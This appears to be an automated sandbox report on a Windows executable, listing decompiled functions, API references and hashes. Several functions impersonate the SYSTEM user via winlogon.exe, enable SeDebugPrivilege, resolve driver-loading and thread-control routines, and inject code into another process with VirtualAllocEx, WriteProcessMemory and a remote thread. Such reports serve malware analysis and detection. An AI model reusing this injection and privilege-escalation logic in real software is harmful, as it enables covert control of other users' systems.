Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memsetwcscpywcslen$CloseDirectoryErrorHandleImpersonateLastLoggedSystemUserwcscat
String ID: SeImpersonatePrivilege$winlogon.exe
API String ID: 3867304300-2177360481
Opcode ID: b9815b26473cd7491ae288f5076cf4125b88922a7fa2441dfc3ee00491751d6f
Instruction ID: dcc5dec8953379ec1552ef046485534b93905478987a0ec3c51696e6dc85d708
Opcode Fuzzy Hash: b9815b26473cd7491ae288f5076cf4125b88922a7fa2441dfc3ee00491751d6f
Instruction Fuzzy Hash: 48214F72940118AACB20A795DC899DFB7BCDF54354F5001BBF608F2191EB345A848BAC

Uniqueness

Uniqueness Score: -1.00%

Function 00409555, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27
libraryloadertimeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409555(void* _a4, struct _FILETIME* _a8, struct _FILETIME* _a12, struct _FILETIME* _a16, struct _FILETIME* _a20) {
				int _t8;
				struct HINSTANCE__* _t9;

				if( *0x41c8e8 == 0) {
					_t9 = GetModuleHandleW(L"kernel32.dll");
					if(_t9 != 0) {
						 *0x41c8e8 = 1;
						 *0x41c8ec = GetProcAddress(_t9, "GetProcessTimes");
					}
				}
				if( *0x41c8ec == 0) {
					return 0;
				} else {
					_t8 = GetProcessTimes(_a4, _a8, _a12, _a16, _a20); // executed
					return _t8;
				}
			}

0x0040955f
0x00409566
0x0040956e
0x00409576
0x00409586
0x00409586
0x0040956e
0x00409592
0x004095aa
0x00409594
0x004095a3
0x004095a6
0x004095a6

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,00409764,00000000,?,?,?,00401DD3,00000000,?), ref: 00409566
GetProcAddress.KERNEL32(00000000,GetProcessTimes), ref: 00409580
GetProcessTimes.KERNELBASE(00000000,00401DD3,?,?,?,?,00409764,00000000,?,?,?,00401DD3,00000000,?), ref: 004095A3

Strings

kernel32.dll, xrefs: 00409561
GetProcessTimes, xrefs: 00409570

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProcProcessTimes
String ID: GetProcessTimes$kernel32.dll
API String ID: 1714573020-3385500049
Opcode ID: 7c908c3a013f4f9010f7eee84109228e73c5ea75ed64b39a480063120f72be39
Instruction ID: 684c615278f70e6dc9f1b796aa494e436c9634249af5aea594c4fe29f2bd0140
Opcode Fuzzy Hash: 7c908c3a013f4f9010f7eee84109228e73c5ea75ed64b39a480063120f72be39
Instruction Fuzzy Hash: 51F0C031680209EFDF019FE5ED85B9A3BE9EB44705F008535F908E12A1D7758960EB58

Uniqueness

Uniqueness Score: -1.00%

Function 00402F31, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E00402F31(void* _a4) {
				void _v530;
				long _v532;
				void* __edi;
				wchar_t* _t15;
				intOrPtr _t18;
				short* _t19;
				void* _t22;
				void* _t29;

				_v532 = _v532 & 0x00000000;
				memset( &_v530, 0, 0x208);
				E00404AD9( &_v532);
				_t15 = wcsrchr( &_v532, 0x2e);
				if(_t15 != 0) {
					 *_t15 =  *_t15 & 0x00000000;
				}
				wcscat( &_v532, L".cfg");
				_t18 =  *0x40fa74; // 0x4101c8
				_t19 = _t18 + 0x5504;
				_t36 =  *_t19;
				_pop(_t29);
				if( *_t19 != 0) {
					E00404923(0x104,  &_v532, _t19);
					_pop(_t29);
				}
				_t22 = E00402FC6(_t29, _t36,  &_v532); // executed
				return _t22;
			}

0x00402f3a
0x00402f51
0x00402f60
0x00402f6f
0x00402f78
0x00402f7a
0x00402f7a
0x00402f8a
0x00402f8f
0x00402f94
0x00402f99
0x00402f9e
0x00402f9f
0x00402fad
0x00402fb2
0x00402fb2
0x00402fbd
0x00402fc5

APIs

memset.MSVCRT ref: 00402F51

Part of subcall function 00404AD9: GetModuleFileNameW.KERNEL32(00000000,e/@,00000104,00402F65,00000000,?,?,00000000), ref: 00404AE4

wcsrchr.MSVCRT ref: 00402F6F
wcscat.MSVCRT ref: 00402F8A

Strings

.cfg, xrefs: 00402F84

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: FileModuleNamememsetwcscatwcsrchr
String ID: .cfg
API String ID: 776488737-3410578098
Opcode ID: 728259185716957c59a96a9101d5f0e08b84084941d0fa3c3d1a3b0935b5c9f5
Instruction ID: 9e44addaa5645187fa8e636e844442f878cb26b9c6a589516f43c5b5973a5f2a
Opcode Fuzzy Hash: 728259185716957c59a96a9101d5f0e08b84084941d0fa3c3d1a3b0935b5c9f5
Instruction Fuzzy Hash: D501487254420C9ADB20E755DD8AFCA73BCEB54314F1008BBA514F61C1D7F8AAC48A9C

Uniqueness

Uniqueness Score: -1.00%

Function 00409DDC, Relevance: 6.1, APIs: 4, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 35%

			E00409DDC(intOrPtr* __ecx, void* __eflags, intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, intOrPtr _a16, WCHAR* _a20) {
				char _v16390;
				short _v16392;
				void* __edi;
				intOrPtr* _t30;
				intOrPtr* _t34;
				signed int _t36;
				signed int _t37;

				_t30 = __ecx;
				E0040B550(0x4004, __ecx);
				_push(0x4000);
				_push(0);
				_v16392 = 0;
				_t34 = _t30;
				_push( &_v16390);
				if(_a4 == 0) {
					memset();
					GetPrivateProfileStringW(_a8, _a12, 0x40c4e8,  &_v16392, 0x2000, _a20); // executed
					asm("sbb esi, esi");
					_t37 =  ~_t36;
					E004051B8( &_v16392, _t34, _a16);
				} else {
					memset();
					E0040512F(_a16,  *_t34,  &_v16392);
					_t37 = WritePrivateProfileStringW(_a8, _a12,  &_v16392, _a20);
				}
				return _t37;
			}

0x00409ddc
0x00409de4
0x00409df0
0x00409df5
0x00409df6
0x00409e03
0x00409e05
0x00409e06
0x00409e3b
0x00409e5d
0x00409e6a
0x00409e73
0x00409e75
0x00409e08
0x00409e08
0x00409e19
0x00409e37
0x00409e37
0x00409e81

APIs

memset.MSVCRT ref: 00409E08

Part of subcall function 0040512F: _snwprintf.MSVCRT ref: 00405174
Part of subcall function 0040512F: memcpy.MSVCRT ref: 00405184

WritePrivateProfileStringW.KERNEL32(?,?,?,?), ref: 00409E31
memset.MSVCRT ref: 00409E3B
GetPrivateProfileStringW.KERNEL32(?,?,0040C4E8,?,00002000,?), ref: 00409E5D

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: PrivateProfileStringmemset$Write_snwprintfmemcpy
String ID:
API String ID: 1127616056-0
Opcode ID: 58dd6d091b48cbb0307dc7b23365382c2a8386e907ab43d681c23093a5f2522d
Instruction ID: edc1d82326a177a4eed1c31c26edb3d60bf211bedf20f6070ddf32627235df0d
Opcode Fuzzy Hash: 58dd6d091b48cbb0307dc7b23365382c2a8386e907ab43d681c23093a5f2522d
Instruction Fuzzy Hash: A9117071500119AFDF11AF64DD06E9E7BA9EF04704F1000BAFB05B6191E7319E608BAD

Uniqueness

Uniqueness Score: -1.00%

Function 00404951, Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404951(signed int* __eax, void* __edx, void** __edi, signed int _a4, char _a8) {
				void* _t8;
				void* _t13;
				signed int _t16;
				void** _t21;
				signed int _t22;

				_t21 = __edi;
				_t22 =  *__eax;
				if(__edx < _t22) {
					return 0;
				} else {
					_t13 =  *__edi;
					do {
						_t1 =  &_a8; // 0x4057e1
						 *__eax =  *__eax +  *_t1;
						_t16 =  *__eax;
					} while (__edx >= _t16);
					_t8 = malloc(_t16 * _a4); // executed
					 *__edi = _t8;
					if(_t22 > 0) {
						if(_t8 != 0) {
							memcpy(_t8, _t13, _t22 * _a4);
						}
						free(_t13); // executed
					}
					return 0 |  *_t21 != 0x00000000;
				}
			}

0x00404951
0x00404952
0x00404956
0x004049a1
0x00404958
0x00404959
0x0040495b
0x0040495b
0x0040495f
0x00404961
0x00404963
0x0040496d
0x00404975
0x00404977
0x0040497b
0x00404985
0x0040498a
0x0040498e
0x00404993
0x0040499d
0x0040499d

APIs

malloc.MSVCRT ref: 0040496D
memcpy.MSVCRT ref: 00404985
free.MSVCRT(00000000,00000000,?,004055BF,00000002,?,00000000,?,004057E1,00000000,?,00000000), ref: 0040498E

Strings

W@, xrefs: 0040495B

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: freemallocmemcpy
String ID: W@
API String ID: 3056473165-1729568415
Opcode ID: 333fb239f4ff1cdabd0487bf4b3bf6bf98c6d246a46385af68035416a7f8f3c9
Instruction ID: 6576f77cd119d718dc8f29c334e0549a7190cc93a29033006f08a56aa9c3ab10
Opcode Fuzzy Hash: 333fb239f4ff1cdabd0487bf4b3bf6bf98c6d246a46385af68035416a7f8f3c9
Instruction Fuzzy Hash: 09F054B26092229FC708AA79B98585BB79DEF84364711487EF514E72D1D7389C40C7A8

Uniqueness

Uniqueness Score: -1.00%

Function 00405436, Relevance: 6.0, APIs: 4, Instructions: 31
libraryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405436(wchar_t* _a4) {
				void _v2050;
				signed short _v2052;
				void* __esi;
				struct HINSTANCE__* _t16;
				WCHAR* _t18;

				_v2052 = _v2052 & 0x00000000;
				memset( &_v2050, 0, 0x7fe);
				E00404C3C( &_v2052);
				_t18 =  &_v2052;
				E004047AF(_t18);
				wcscat(_t18, _a4);
				_t16 = LoadLibraryW(_t18); // executed
				if(_t16 == 0) {
					return LoadLibraryW(_a4);
				}
				return _t16;
			}

0x0040543f
0x00405456
0x00405462
0x00405467
0x0040546d
0x00405478
0x00405489
0x0040548d
0x00000000
0x00405492
0x00405496

APIs

memset.MSVCRT ref: 00405456

Part of subcall function 00404C3C: GetSystemDirectoryW.KERNEL32(0041C6D0,00000104), ref: 00404C52
Part of subcall function 00404C3C: wcscpy.MSVCRT ref: 00404C62

Part of subcall function 004047AF: wcslen.MSVCRT ref: 004047B0
Part of subcall function 004047AF: wcscat.MSVCRT ref: 004047C8

wcscat.MSVCRT ref: 00405478
LoadLibraryW.KERNELBASE(00000000), ref: 00405489
LoadLibraryW.KERNEL32(?), ref: 00405492

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: LibraryLoadwcscat$DirectorySystemmemsetwcscpywcslen
String ID:
API String ID: 3725422290-0
Opcode ID: 1802a75fbf0d54ac87396d762f51419468a1e880665e67f03dd367b63fba9ca4
Instruction ID: bb87c58107a7235a9df1b9b02ada5b91fca9717c482d10a691b94706fbe65826
Opcode Fuzzy Hash: 1802a75fbf0d54ac87396d762f51419468a1e880665e67f03dd367b63fba9ca4
Instruction Fuzzy Hash: EBF03771D40229A6DF20B7A5CC06B8A7A6CFF40758F0044B6B94CB7191DB7CEA558FD8

Uniqueness

Uniqueness Score: -1.00%

Function 00409E82, Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetPrivateProfileIntW.KERNEL32 ref: 00409EA9

Part of subcall function 00409D12: memset.MSVCRT ref: 00409D31
Part of subcall function 00409D12: _itow.MSVCRT ref: 00409D48
Part of subcall function 00409D12: WritePrivateProfileStringW.KERNEL32(?,?,00000000), ref: 00409D57

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: PrivateProfile$StringWrite_itowmemset
String ID:
API String ID: 4232544981-0
Opcode ID: eeb21031a92c0a089a906d8cada5f37383a5669735d00d1bca9b9fb7ea3296f1
Instruction ID: 9cbd54488ddde29c65bb9f464d3594e5c231a9cc3fc51dd6b87f783e4d357368
Opcode Fuzzy Hash: eeb21031a92c0a089a906d8cada5f37383a5669735d00d1bca9b9fb7ea3296f1
Instruction Fuzzy Hash: CDE0B632000209FFDF125F80EC01AAA3B66FF14315F648569F95814171D33799B0EF88

Uniqueness

Uniqueness Score: -1.00%

Function 00408F48, Relevance: 1.5, APIs: 1, Instructions: 17
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408F48(void* __ecx, void* __eflags, intOrPtr _a4) {
				signed int _v8;
				void* _t8;
				void* _t13;

				_v8 = _v8 & 0x00000000;
				_t8 = E00408FC9( &_v8, __eflags, _a4); // executed
				_t13 = _t8;
				if(_v8 != 0) {
					FreeLibrary(_v8);
				}
				return _t13;
			}

0x00408f4c
0x00408f57
0x00408f60
0x00408f62
0x00408f67
0x00408f67
0x00408f71

APIs

Part of subcall function 00408FC9: GetCurrentProcess.KERNEL32(00000028,00000000), ref: 00408FD8
Part of subcall function 00408FC9: GetLastError.KERNEL32(00000000), ref: 00408FEA

FreeLibrary.KERNEL32(00000000,?,?,?,?,004085BD,SeDebugPrivilege,00000000,?,?,00000002,?,0040B45E,00000000,?,0000000A), ref: 00408F67

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentErrorFreeLastLibraryProcess
String ID:
API String ID: 187924719-0
Opcode ID: 66172dc437a911e831faa251a40591583a4df33fd2c7ff74237865ec7cba41cd
Instruction ID: 8dfc096080dba386992b60ff887e92109f2b64d1c6b3d0c2bddabb0c4d0164ae
Opcode Fuzzy Hash: 66172dc437a911e831faa251a40591583a4df33fd2c7ff74237865ec7cba41cd
Instruction Fuzzy Hash: D6D01231511119FBDF109B91CE06BCDBB79DB00399F104179E400B2190D7759F04E694

Uniqueness

Uniqueness Score: -1.00%

Function 004098F9, Relevance: 1.5, APIs: 1, Instructions: 15
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E004098F9(struct HINSTANCE__** __eax, intOrPtr _a4, intOrPtr _a8) {
				void* __esi;
				intOrPtr* _t6;
				void* _t8;
				struct HINSTANCE__** _t10;

				_t10 = __eax;
				E00409921(__eax);
				_t6 =  *((intOrPtr*)(_t10 + 0x10));
				if(_t6 == 0) {
					return 0;
				}
				_t8 =  *_t6(_a4, 0, _a8, 0x104); // executed
				return _t8;
			}

0x004098fa
0x004098fc
0x00409901
0x00409907
0x00000000
0x0040991c
0x00409918
0x00000000

APIs

Part of subcall function 00409921: GetProcAddress.KERNEL32(00000000,psapi.dll), ref: 00409941
Part of subcall function 00409921: GetProcAddress.KERNEL32(?,EnumProcessModules), ref: 0040994D
Part of subcall function 00409921: GetProcAddress.KERNEL32(?,GetModuleFileNameExW), ref: 00409959
Part of subcall function 00409921: GetProcAddress.KERNEL32(?,EnumProcesses), ref: 00409965
Part of subcall function 00409921: GetProcAddress.KERNEL32(?,GetModuleInformation), ref: 00409971

K32GetModuleFileNameExW.KERNEL32(00000104,00000000,004096DF,00000104,004096DF,00000000,?), ref: 00409918

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$FileModuleName
String ID:
API String ID: 3859505661-0
Opcode ID: 115f5329003125d907eaa6c1792e5f10a4de8ddb58c38107801da2991a4e6f4b
Instruction ID: 0481de772a0e6c3324847b7c7a0c8cc4c6a15655966ff13cfb2205d1ba48b523
Opcode Fuzzy Hash: 115f5329003125d907eaa6c1792e5f10a4de8ddb58c38107801da2991a4e6f4b
Instruction Fuzzy Hash: 26D0A9B22183006BD620AAB08C00B4BA2D47B80710F008C2EB590E22D2D274CD105208

Uniqueness

Uniqueness Score: -1.00%

Function 004095DA, Relevance: 1.5, APIs: 1, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004095DA(signed int* __edi) {
				void* __esi;
				struct HINSTANCE__* _t3;
				signed int* _t7;

				_t7 = __edi;
				_t3 =  *__edi;
				if(_t3 != 0) {
					FreeLibrary(_t3); // executed
					 *__edi =  *__edi & 0x00000000;
				}
				E004099D4( &(_t7[0xa]));
				return E004099D4( &(_t7[6]));
			}

0x004095da
0x004095da
0x004095de
0x004095e1
0x004095e7
0x004095e7
0x004095ee
0x004095fc

APIs

FreeLibrary.KERNELBASE(00000000,00401DF2,?,00000000,?,?,00000000), ref: 004095E1

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 3a8c82b58b4536e75bc69a87746d6aa363a9327662929a541f6021599fdffafa
Instruction ID: 13308881ed9fba3be053afa591bd741d52050d54eca683c3f8d57f3833d878b6
Opcode Fuzzy Hash: 3a8c82b58b4536e75bc69a87746d6aa363a9327662929a541f6021599fdffafa
Instruction Fuzzy Hash: 5DD0C973401113EBDB01BB26EC856957368BF00315B15012AA801B35E2C738BDA6CAD8

Uniqueness

Uniqueness Score: -1.00%

Function 0040A3C1, Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A3C1(struct HINSTANCE__* _a4, WCHAR* _a8) {

				EnumResourceNamesW(_a4, _a8, E0040A33B, 0); // executed
				return 1;
			}

0x0040a3d0
0x0040a3d9

APIs

EnumResourceNamesW.KERNELBASE(?,?,0040A33B,00000000), ref: 0040A3D0

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: EnumNamesResource
String ID:
API String ID: 3334572018-0
Opcode ID: 4e80c9868bdfa7667331217c7ed8963edd970179f9d5bbd233f5df82d78e7ab4
Instruction ID: 553cc51789f51932b097ae14593f850e519bfff9ece1921d1baa913e09089cf7
Opcode Fuzzy Hash: 4e80c9868bdfa7667331217c7ed8963edd970179f9d5bbd233f5df82d78e7ab4
Instruction Fuzzy Hash: 17C09B3215C341D7D7019F208C15F1EF695BB59701F104C39B191A40E0C77140349A05

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00408E31, Relevance: 45.6, APIs: 13, Strings: 13, Instructions: 57
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408E31() {
				void* _t1;
				struct HINSTANCE__* _t2;
				_Unknown_base(*)()* _t14;

				if( *0x41c4ac == 0) {
					_t2 = GetModuleHandleW(L"ntdll.dll");
					 *0x41c4ac = _t2;
					 *0x41c47c = GetProcAddress(_t2, "NtQuerySystemInformation");
					 *0x41c480 = GetProcAddress( *0x41c4ac, "NtLoadDriver");
					 *0x41c484 = GetProcAddress( *0x41c4ac, "NtUnloadDriver");
					 *0x41c488 = GetProcAddress( *0x41c4ac, "NtOpenSymbolicLinkObject");
					 *0x41c48c = GetProcAddress( *0x41c4ac, "NtQuerySymbolicLinkObject");
					 *0x41c490 = GetProcAddress( *0x41c4ac, "NtQueryObject");
					 *0x41c494 = GetProcAddress( *0x41c4ac, "NtOpenThread");
					 *0x41c498 = GetProcAddress( *0x41c4ac, "NtClose");
					 *0x41c49c = GetProcAddress( *0x41c4ac, "NtQueryInformationThread");
					 *0x41c4a0 = GetProcAddress( *0x41c4ac, "NtSuspendThread");
					 *0x41c4a4 = GetProcAddress( *0x41c4ac, "NtResumeThread");
					_t14 = GetProcAddress( *0x41c4ac, "NtTerminateThread");
					 *0x41c4a8 = _t14;
					return _t14;
				}
				return _t1;
			}

0x00408e38
0x00408e44
0x00408e56
0x00408e68
0x00408e7a
0x00408e8c
0x00408e9e
0x00408eb0
0x00408ec2
0x00408ed4
0x00408ee6
0x00408ef8
0x00408f0a
0x00408f1c
0x00408f21
0x00408f23
0x00000000
0x00408f28
0x00408f29

APIs

GetModuleHandleW.KERNEL32(ntdll.dll,?,004097C3), ref: 00408E44
GetProcAddress.KERNEL32(00000000,NtQuerySystemInformation), ref: 00408E5B
GetProcAddress.KERNEL32(NtLoadDriver), ref: 00408E6D
GetProcAddress.KERNEL32(NtUnloadDriver), ref: 00408E7F
GetProcAddress.KERNEL32(NtOpenSymbolicLinkObject), ref: 00408E91
GetProcAddress.KERNEL32(NtQuerySymbolicLinkObject), ref: 00408EA3
GetProcAddress.KERNEL32(NtQueryObject), ref: 00408EB5
GetProcAddress.KERNEL32(NtOpenThread), ref: 00408EC7
GetProcAddress.KERNEL32(NtClose), ref: 00408ED9
GetProcAddress.KERNEL32(NtQueryInformationThread), ref: 00408EEB
GetProcAddress.KERNEL32(NtSuspendThread), ref: 00408EFD
GetProcAddress.KERNEL32(NtResumeThread), ref: 00408F0F
GetProcAddress.KERNEL32(NtTerminateThread), ref: 00408F21

Strings

NtSuspendThread, xrefs: 00408EED
NtClose, xrefs: 00408EC9
NtOpenThread, xrefs: 00408EB7
NtQuerySymbolicLinkObject, xrefs: 00408E93
NtUnloadDriver, xrefs: 00408E6F
NtQueryInformationThread, xrefs: 00408EDB
NtLoadDriver, xrefs: 00408E5D
NtResumeThread, xrefs: 00408EFF
NtTerminateThread, xrefs: 00408F11
NtQuerySystemInformation, xrefs: 00408E50
NtQueryObject, xrefs: 00408EA5
ntdll.dll, xrefs: 00408E3F
NtOpenSymbolicLinkObject, xrefs: 00408E81

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$HandleModule
String ID: NtClose$NtLoadDriver$NtOpenSymbolicLinkObject$NtOpenThread$NtQueryInformationThread$NtQueryObject$NtQuerySymbolicLinkObject$NtQuerySystemInformation$NtResumeThread$NtSuspendThread$NtTerminateThread$NtUnloadDriver$ntdll.dll
API String ID: 667068680-4280973841
Opcode ID: 0e514bbc216ec6ed683cf9c679d1a897357692730977d90f559606f31b4d1217
Instruction ID: 9046f7da5280d7be643cb990a4133c03c86fae9b85e8e19c009a309f84c5646f
Opcode Fuzzy Hash: 0e514bbc216ec6ed683cf9c679d1a897357692730977d90f559606f31b4d1217
Instruction Fuzzy Hash: 6611AD74DC8315EECB516FB1BCE9AA67E61EB08760710C437A809632B1D77A8018DF4C

Uniqueness

Uniqueness Score: -1.00%

Function 0040A46C, Relevance: 42.2, APIs: 20, Strings: 4, Instructions: 208
librarymemoryloaderCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E0040A46C(void* __ecx, void* __eflags, void* _a4, void* _a8, void* _a12, void* _a16, intOrPtr _a20, char _a24, void* _a28, intOrPtr _a32) {
				char _v8;
				long _v12;
				long _v16;
				long _v20;
				intOrPtr _v24;
				long _v28;
				char _v564;
				char _v16950;
				char _v33336;
				_Unknown_base(*)()* _v33348;
				_Unknown_base(*)()* _v33352;
				void _v33420;
				void _v33432;
				void _v33436;
				intOrPtr _v66756;
				intOrPtr _v66760;
				void _v66848;
				void _v66852;
				void* __edi;
				void* _t76;
				_Unknown_base(*)()* _t84;
				_Unknown_base(*)()* _t87;
				void* _t90;
				signed int _t126;
				struct HINSTANCE__* _t128;
				intOrPtr* _t138;
				void* _t140;
				void* _t144;
				void* _t147;
				void* _t148;

				E0040B550(0x10524, __ecx);
				_t138 = _a4;
				_v12 = 0;
				 *_t138 = 0;
				_t76 = OpenProcess(0x1f0fff, 0, _a8);
				_a8 = _t76;
				if(_t76 == 0) {
					 *_t138 = GetLastError();
					L30:
					return _v12;
				}
				_v33436 = 0;
				memset( &_v33432, 0, 0x8284);
				_t148 = _t147 + 0xc;
				_t128 = GetModuleHandleW(L"kernel32.dll");
				_v8 = 0;
				E00409C70( &_v8);
				_push("CreateProcessW");
				_push(_t128);
				if(_v8 == 0) {
					_t84 = GetProcAddress();
				} else {
					_t84 = _v8();
				}
				_v33352 = _t84;
				E00409C70( &_v8);
				_push("GetLastError");
				_push(_t128);
				if(_v8 == 0) {
					_t87 = GetProcAddress();
				} else {
					_t87 = _v8();
				}
				_t140 = _a28;
				_v33348 = _t87;
				if(_t140 != 0) {
					_t126 = 0x11;
					memcpy( &_v33420, _t140, _t126 << 2);
					_t148 = _t148 + 0xc;
				}
				_v33420 = 0x44;
				if(_a16 == 0) {
					_v33336 = 1;
				} else {
					E00404923(0x2000,  &_v33336, _a16);
				}
				if(_a12 == 0) {
					_v16950 = 1;
				} else {
					E00404923(0x2000,  &_v16950, _a12);
				}
				if(_a24 == 0) {
					_v564 = 1;
				} else {
					E00404923(0x104,  &_v564, _a24);
				}
				_v24 = _a20;
				_v28 = 0;
				_a16 = VirtualAllocEx(_a8, 0, 0x8288, 0x1000, 4);
				_t90 = VirtualAllocEx(_a8, 0, 0x800, 0x1000, 0x40);
				_a12 = _t90;
				if(_a16 == 0 || _t90 == 0) {
					 *_a4 = GetLastError();
				} else {
					WriteProcessMemory(_a8, _t90, E0040A3DC, 0x800, 0);
					WriteProcessMemory(_a8, _a16,  &_v33436, 0x8288, 0);
					_v20 = 0;
					_v16 = 0;
					_a24 = 0;
					_t144 = E0040A272( &_v20, _a8, _a12, _a16,  &_a24);
					_a28 = _t144;
					if(_t144 == 0) {
						 *_a4 = GetLastError();
					} else {
						ResumeThread(_t144);
						WaitForSingleObject(_t144, 0x7d0);
						CloseHandle(_t144);
					}
					_v66852 = 0;
					memset( &_v66848, 0, 0x8284);
					ReadProcessMemory(_a8, _a16,  &_v66852, 0x8288, 0);
					VirtualFreeEx(_a8, _a16, 0, 0x8000);
					VirtualFreeEx(_a8, _a12, 0, 0x8000);
					if(_a28 != 0) {
						 *_a4 = _v66756;
						_v12 = _v66760;
						if(_a32 != 0) {
							asm("movsd");
							asm("movsd");
							asm("movsd");
							asm("movsd");
						}
					}
					if(_v20 != 0) {
						FreeLibrary(_v20);
					}
				}
				goto L30;
			}

0x0040a474
0x0040a47b
0x0040a48a
0x0040a48d
0x0040a48f
0x0040a497
0x0040a49a
0x0040a6f7
0x0040a6f9
0x0040a700
